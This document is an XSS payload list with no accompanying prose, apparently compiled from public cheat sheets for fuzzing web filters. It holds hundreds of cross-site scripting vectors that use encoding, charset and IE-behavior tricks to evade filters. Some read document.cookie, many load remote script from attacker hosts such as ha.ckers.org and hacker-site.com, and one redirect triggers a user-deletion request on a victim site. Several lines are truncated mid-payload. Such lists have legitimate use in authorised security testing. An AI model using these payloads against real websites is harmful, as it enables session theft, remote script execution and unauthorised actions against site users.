<meta charset="x-imap4-modified-utf7">&ADz&AGn&AGO&AEF&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABLAHIA
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&&A9&l1/script&X&>
<meta charset="mac-farsi">%script%javascript:alert(1)%/script%
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set xmlns='urn:schemas-microsoft-com:time` style=`beh#x41vior:url(#default#time2)` attributename=`innerhtml` to=&lt;
1<animate xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2) attributename=innerhtml values=&lt;im
<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100%
1<a href="#"<line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:
<a style="behavior:url(#default#AnchorClick); folder="javascript:javascript:alert(1)">XXX</a>
<x style="behavior:url(%(sct)s)">
<xml id="xss" src="%(htc)s"></xml> <label dataformatas="html" datasrc="#xss" datafld="payload"></label>
<event-source src="%(event)s" onload="javascript:alert(1)">
<a href="javascript:javascript:alert(1)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%
<div id="x">x</div> <xml:namespace prefix="t"> <import namespace="t" implementation="#default#time2"> <t:set attributeN
<script>%(payload)s</script>
<script src=%(jscript)s></script>
<script language='javascript' src='%(jscript)s'></script>
<script>javascript:alert(1)</script>
<IMG SRC="javascript:javascript:alert(1);">
<IMG SRC=javascript:javascript:alert(1)>
<IMG SRC=` javascript:javascript:alert(1)`>
<SCRIPT SRC=%(jscript)s?<B>
<FRAMESET><FRAME SRC="javascript:javascript:alert(1);"></FRAMESET>
<BODY ONLOAD=javascript:alert(1)>
<BODY ONLOAD=javascript:javascript:alert(1)>
<IMG SRC="jav ascript:javascript:alert(1);">
<BODY onload!#$%&()~+-_,,:?@[ /|\]^=javascript:alert(1)>
<SCRIPT/SRC=%(jscript)s"></SCRIPT>
<<SCRIPT>%(payload)s//<</SCRIPT>
<IMG SRC="javascript:javascript:alert(1)"
<iframe src=%(scriptlet)s <
<INPUT TYPE="IMAGE" SRC="javascript:javascript:alert(1);">
<IMG DYNSRC="javascript:javascript:alert(1)">
<IMG LOWSRC="javascript:javascript:alert(1)">
<BGSOUND SRC="javascript:javascript:alert(1);">
<BR SIZE="&{ javascript:alert(1)}">
<LAYER SRC="% (scriptlet)s"></LAYER>
<LINK REL="stylesheet" HREF="javascript:javascript:alert(1);">
<STYLE>@import '%(css)s';</STYLE>
<META HTTP-EQUIV="Link" Content="<%(css)s>; REL=stylesheet">
<XSS STYLE="behavior: url(%(htc)s);">
<STYLE>li {list-style-image: url("javascript:javascript:alert(1)");}</STYLE><UL><LI>XSS
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:javascript:alert(1);"
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://:URL=javascript:javascript:alert(1);"
<IFRAME SRC=" javascript:javascript:alert(1);"></IFRAME>
<TABLE BACKGROUND=" javascript:javascript:alert(1)">
<TABLE><TD BACKGROUND=" javascript:javascript:alert(1)">
<DIV STYLE="background-image: url(javascript:javascript:alert(1))">
<DIV STYLE="width:expression(javascript:alert(1));">
<IMG STYLE="xss:expr/*XSS*/ession(javascript:alert(1))">
<XSS STYLE="xss:expression(javascript:alert(1))">
<STYLE TYPE="text/javascript">javascript:alert(1);</STYLE>
<STYLE>.XSS{background-image:url("javascript:javascript:alert(1)");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:javascript:alert(1)")}</STYLE>
<!--[if gte IE 4]><SCRIPT>javascript:alert(1);</SCRIPT><![endif]-->
<BASE HREF=" javascript:javascript:alert(1); //"
<OBJECT TYPE="text/x-scriptlet" DATA="% (scriptlet)s"></OBJECT>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:javascript:alert(1)></OBJEC
```



```
<BGSOUND SRC="javascript:alert('XSS'));">
<BR SIZE="&{alert('XSS'))}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS'));">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import 'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content=<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS')';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE="no\xss:noxss(*/*);xss:ex/*XSS*//**/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS'))");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS'))")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS'))")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htm);">
%script%alert(%XSS%)%/script%
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS'));">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcm1wdD5hbGVydCgnWFNTJyk8L3Njcm1wdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS'));">
<IFRAME SRC=" javascript:alert('XSS'));"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS'));"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS'))">
<TABLE><TD BACKGROUND="javascript:alert('XSS'))">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image: \0075\0072\006C\0028\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\006
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF=" javascript:alert('XSS'));"/>
<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC=" A6Ly93d3cudzMuB3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3c
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'--><!--#exec cmd="/bin/echo ' IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'-->
<? echo('<SCR');echo(' IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS') ; +ADw-/SC
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT = ">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" ' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6.6.000146.0x7.147/">XSS</A>
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family:&colon;'<iframe/onload=confirm(1)>
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"&gt;
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src='` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript:&colon;confirm(1)"
<img src='`&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveansWerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="
<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT:&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data:&colon;,window.open('https://www.google.com/')></script>
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
```

```
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061!ert\x28;1\x29;">X
</script><img/*/src="worksinchrome&colon;prompt\x28;1&\x29; /*onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmldD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;
http://www.google<script .com>alert(document.location)</script
<a href=&#32; href=&#61; &#91; &#00; &#93; &#00; onmouseover=prompt&#40;1&#41;&#47; &#47; " >XYZ</a
<img/src=@&#32;&#13; onerror = prompt('1')
<style onload=prompt&#40;'&#88;&#83;&#83; '&#41;
<script ^__^>alert(String.fromCharCode(49))</script ^__^
</style &#32;><script &#32; :-( /**/alert(document.location)/**/</script &#32; :-( 
&#00;</form><input type=&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074\x28;1&\x29;'>
<script ***/>***/confirm('uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')***/</script ***/
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!!--&#09;&gt;&#10;alert&lpar;1&rpar;>
<!--/style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon; <body>onload=confirm(1)>
&#13;<blink/&#13; onmouseover=pr&x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart="javascript:alert&x28;1&x29;">^__^
<div>style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;alert(1)
//<form action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input type='submit' />
/*iframe/src*/<iframe src="@"/>onload=prompt(1) /*iframe/src*/
//|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js' //|\\ </script //|\\
<font><svg><style>{src&#x3A; '<style>onload=this.onload=confirm(1)</font>/<style>
<a href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext></|><plaintext>onmouseover=prompt(1)
</svg>'<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&x28;1&x29; {Opera}
<a href="javascript&colon;\u0061&x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn!/svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn!/svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>

<%!---%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe> />onload = prompt(1)
<iframe>onreadystatechange=alert(1)
<svg>onload=alert(1)
<input value=<><iframe>javascript:confirm(1)
<input type="text" value='` <div>onmouseover='alert(1)'>X</div>
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab:&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%2
<img src='xx:xx' onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/"></object>
<meta http-equiv="refresh" content="0; javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg>onload=\u0061&x6C;&#101%72t(1)">X</a>
<iframe>onreadystatechange=\u0061\u006C\u0065\u0072\u0074('u0061') worksinIE
<script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061'
<script>src="data&colon;text%2Fj\u0061v\u0061script,\u0061!ert('u0061')"></script a=\u0061 & /=%2F
<script>src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>
<object data=javascript&colon;\u0061&x6C;&#101%72t(1)>
<script>++-1---+alert(1)</script>
<body>onload=&lt;!!--&gt;&#10;alert(1)>
<script itworksinallbrowsers>*<script * />alert(1)</script>
<img src ?itworks'onchrome?/\>onerror = alert(1)
<svg><script> //&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaaa aaaaaaaaaa aaaaaaaaaaa href=j#97v#97script&x3A;&#97lert(1)>ClickMe
```

```
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src= ` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x0
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button
"><img src=x onerror>window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmrvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60;&#115&#99;&#114;&#105;&#112&#116&#32;&#115&#114&#99;&#61;&#34;&#104;&#116;&#112&#58;&#47;&
' ;!--<XSS>=&{ () }
'>//\\<'>">"*"
'); alert('XSS
<script>alert(1);</script>
<script>alert('XSS');</script>
<IMG SRC="javascript:alert('XSS'));">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert("XSS");>
<IMG ""><SCRIPT>alert("XSS")</SCRIPT>">
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\");</style>
<? echo('<scr'); echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
"><script>alert()</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">
<IMG DYNsrc=\"javascript:alert('XSS')\">
<font style='color:expression(alert(document.cookie))'>

<script language="JavaScript">alert('XSS')</script>
<body onunload="javascript:alert('XSS');">
<body onLoad="alert('XSS');"
[color=red' onmouseover="alert('xss')"]mouse over[/color]
"/></a></><img src=1.gif onerror=alert(1)>
window.alert("Bonjour !");
<div style="x:expression((window.r==1)?':eval('r=1;
alert(String.fromCharCode(88,83,83));'))">
<iframe><?php echo chr(11)?> onload=alert('XSS')></iframe>
"><script>alert(String.fromCharCode(88,83,83))</script>
'>><marquee><h1>XSS</h1></marquee>
'>><script>alert('XSS')</script>
'>><marquee><h1>XSS</h1></marquee>
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL;javascript:alert('XSS');\">
<script>var var = 1; alert(var)</script>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS'))}</STYLE>
<?= '<SCRIPT>alert("XSS")</SCRIPT>'?>
<IMG SRC='vbscript:msgbox(\"XSS\")'>
" onfocus=alert(document.domain) "> <
<FRAMESET><FRAME SRC=\"javascript:alert('XSS')\"></FRAMESET>
<STYLE>li { list-style-image: url(\"javascript:alert('XSS')\"); }</STYLE><UL><LI>XSS
perl -e 'print \"<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>\";' > out
perl -e 'print \"<IMG SRC=java\0script:alert(\"XSS\")>\";' > out
<br size="\&{alert('XSS')}\>
<scrscriptipt>alert(1)</scrscriptipt>
<br style=a:expression(alert())>
</script><script>alert(1)</script>
"><BODY onload="#$&(@[-_.,:;?@[/|\]^`=alert("XSS")>
```

```
[color=red width=expression(alert(123))][color]
<BASE HREF="javascript:alert('XSS');//">
Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
"></iframe><script>alert(123)</script>
<body onLoad="while(true) alert('XSS');">
' "></title><script>alert(1111)</script>
</textarea>' "><script>alert(document.cookie)</script>
'"><script language="JavaScript"> alert('X \nS \nS');</script>
</script></script><<<script><>>><<<script>alert(123)</script>
<html><noalert><noscript>(123)</noscript><script>(123)</script>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
'></select><script>alert(123)</script>
'>"><script src = 'http://www.site.com/XSS.js'></script>
}</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
<SCRIPT>document.write("XSS");</SCRIPT>
a="get";b="URL";c="javascript:";d="alert('xss')";eval(a+b+c+d);
='><script>alert("xss")</script>
<script+src=""+src="http://yoursite.com/xss.js?69,69"></script>
<body background=javascript:'><script>alert(navigator.userAgent)</script>></body>
">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
src="http://www.site.com/XSS.js"></script>
data:text/html;charset=utf-7;base64,Ij48L3RpGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmIwdD4=
!--><script>alert('xss');</script>
<script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
' "></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
<img ""><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
<script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
"><script>alert(1337)</script>><script>alert("XSS by \nxss")</h1></marquee>
' "></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
<iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=''
"><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=''
\''><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
http://www.simpatico.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
http://www.simpatico.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
'); alert('xss'); var x='
\\'); alert('\\xss\\');var x=\'
//--><SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
"><ScRipt%20%0a%0d>alert(561177485777)%3B</ScRipt>

</html>
<SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
<SCRIPT> alert("XSS"); </SCRIPT>
<BODY ONLOAD=alert("XSS")>
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG SRC="javascript:alert('XSS')";>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<IFRAME SRC="http://hacker-site.com/xss.html">
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS')";>
<LINK REL="stylesheet" HREF="javascript:alert('XSS')";>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
<EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
&apos;>alert(String.fromCharCode(88,83,83))//\'&apos;>alert(String.fromCharCode(88,83,83))//\"&quot;>alert(String.fromCharCode(88,83,83))//\'&apos;>{()
&lt;SCRIPT&gt;alert(&apos;XSS&gt;=&amp;gt;{()
&lt;SCRIPT&gt;alert(&apos;XSS&gt;=&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt;
&lt;BASE HREF="javascript:alert(&apos;XSS&apos;);//"&gt;
&lt;BGSOUND SRC="javascript:alert(&apos;XSS&apos;);"&gt;
&lt;BODY BACKGROUND="javascript:alert(&apos;XSS&apos;);"&gt;
&lt;BODY ONLOAD=alert(&apos;XSS&apos;)&gt;
```



```
&lt;IMG SRC=" &#14; javascript:alert(&apos;XSS&apos;);&quot;&gt;
&lt;SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()^~-_.,:;?@[ / \]^=alert(&quot;XSS&quot;)&gt;
&lt;SCRIPT SRC=http://ha.ckers.org/xss.js
&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;
&lt;IMG SRC=" javascript:alert(&apos;XSS&apos;)&quot;
&lt;IFRAME SRC=http://ha.ckers.org/scriptlet.html &lt;
&lt;SCRIPT&gt;alert(&quot;XSS&quot;);//&lt;&lt;/SCRIPT&gt;
&lt;IMG &quot;&quot;&gt;&lt;SCRIPT&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;&quot;&gt;
&lt;SCRIPT&gt;a=/XSS/
&lt;SCRIPT a=&quot;&gt;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT =&quot;blah&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=&quot;blah&quot; &apos;&apos; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT &quot;a=&apos;&apos;&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=` SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT&gt;document.write(&quot;&lt;SCRIPT&gt;PT SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;SCRIPT a=&quot;>&apos;>&quot; SRC=&quot;http://ha.ckers.org/xss.js&quot;&gt;&lt;/SCRIPT&gt;
&lt;A HREF=&quot;http://66.102.7.147/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://%77%77%2E%67%6F%67%6C%65%2E%63%6F%6D&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://1113982867/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://0x42.0x0000066.0x7.0x93/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://0102.0146.0007.0000223/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;h#x0A;tt#09;p://6&#09;#09;6.000146.0x7.147/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;//www.google.com/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;//google&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://ha.ckers.org/google&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://google:ha.ckers.org&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://google.com/&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://www.google.com./&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;javascript:document.location=&apos;http://www.google.com/&apos;&quot;&gt;XSS< /A&gt;
&lt;A HREF=&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&gt;XSS< /A&gt;
<script>document.vulnerable=true;</script>
<img SRC="jav ascript:document.vulnerable=true;">
<img SRC="javascript:document.vulnerable=true;">
<img SRC=" &#14; javascript:document.vulnerable=true;">
<body onload!#$%&()^~-_.,:;?@[ / \]^=document.vulnerable=true;>
<<SCRIPT>document.vulnerable=true; //</</SCRIPT>
<script <B>document.vulnerable=true;</script>
<img SRC=" javascript:document.vulnerable=true;">
<iframe src=" javascript:document.vulnerable=true; <
<script>a=/XSS\ndocument.vulnerable=true;</script>
\";document.vulnerable=true;///
</title><SCRIPT>document.vulnerable=true;</script>
<input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
<body BACKGROUND=" javascript:document.vulnerable=true;">
<body ONLOAD=document.vulnerable=true;>
<img DYNSRC=" javascript:document.vulnerable=true;">
<img LOWSRC=" javascript:document.vulnerable=true;">
<bgsound SRC="javascript:document.vulnerable=true;">
<br SIZE="{document.vulnerable=true}">
<LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
<link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
<style>li {list-style-image: url("javascript:document.vulnerable=true;");}</STYLE><UL><LI>XSS
<img SRC='vbscript:document.vulnerable=true;'>
1script3document.vulnerable=true;l/script3
<meta HTTP-EQUIV="refresh" CONTENT="0;url=javascript:document.vulnerable=true;">
<meta HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:document.vulnerable=true;">
<IFRAME SRC="javascript:document.vulnerable=true;"></iframe>
<FRAMESET><FRAME SRC="javascript:document.vulnerable=true;"></frameset>
<table BACKGROUND=" javascript:document.vulnerable=true;">
<table><TD BACKGROUND=" javascript:document.vulnerable=true;">
<div STYLE="background-image: url(javascript:document.vulnerable=true;)">
<div STYLE="background-image: url(&#1; javascript:document.vulnerable=true;)">
<div STYLE="width: expression(document.vulnerable=true);">
<style>@im\port'\ja\vasc\ript:document.vulnerable=true';</style>
<img STYLE="xss:expr/*XSS*/ession(document.vulnerable=true)">
<XSS STYLE="xss:expression(document.vulnerable=true)">
exp/*<A STYLE='no\xss:noxss("/*/*")\xss:ex/*XSS*//**/pression(document.vulnerable=true)'>
<style TYPE="text/javascript">document.vulnerable=true;</style>
```

```
<style>.XSS{background-image:url("javascript:document.vulnerable=true");}</STYLE><a CLASS=XSS></a>
<style type="text/css">BODY{background:url("javascript:document.vulnerable=true")}</style>
<!--[if gte IE 4]><SCRIPT>document.vulnerable=true;</SCRIPT><![endif]-->
<base HREF="javascript:document.vulnerable=true;//"/>
<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:document.vulnerable=true><!--
<XML ID=I><X><C><![<IMG SRC="javas"]<![_cript:document.vulnerable=true;">]]</C></X></xml><SPAN DATASRC="#I" DATAFLD=C DATA
<XML ID="xss"><I><B><IMG SRC="javas!!-- -->cript:document.vulnerable=true"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="
<html><BODY><?xml namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#defa
<? echo ('<SCR' );echo('IPT>document.vulnerable=true</SCRIPT>'); ?>
<meta HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>document.vulnerable=true</SCRIPT>">
<head><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-document.vulnerable=tr
<a href="javascript#document.vulnerable=true;">
<div onmouseover="document.vulnerable=true;">


<input type="image" dynsrc="javascript:document.vulnerable=true;">
<bgsound src="javascript:document.vulnerable=true;">
&<script>document.vulnerable=true;</script>
&{document.vulnerable=true;}>
<img src=&{document.vulnerable=true;};>
<link rel="stylesheet" href="javascript:document.vulnerable=true;">
<iframe src="vbscript:document.vulnerable=true;">


<a href="about:<script>document.vulnerable=true;</script>">
<meta http-equiv="refresh" content="0;url=javascript:document.vulnerable=true;">
<body onload="document.vulnerable=true;">
<div style="background-image: url(javascript:document.vulnerable=true);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
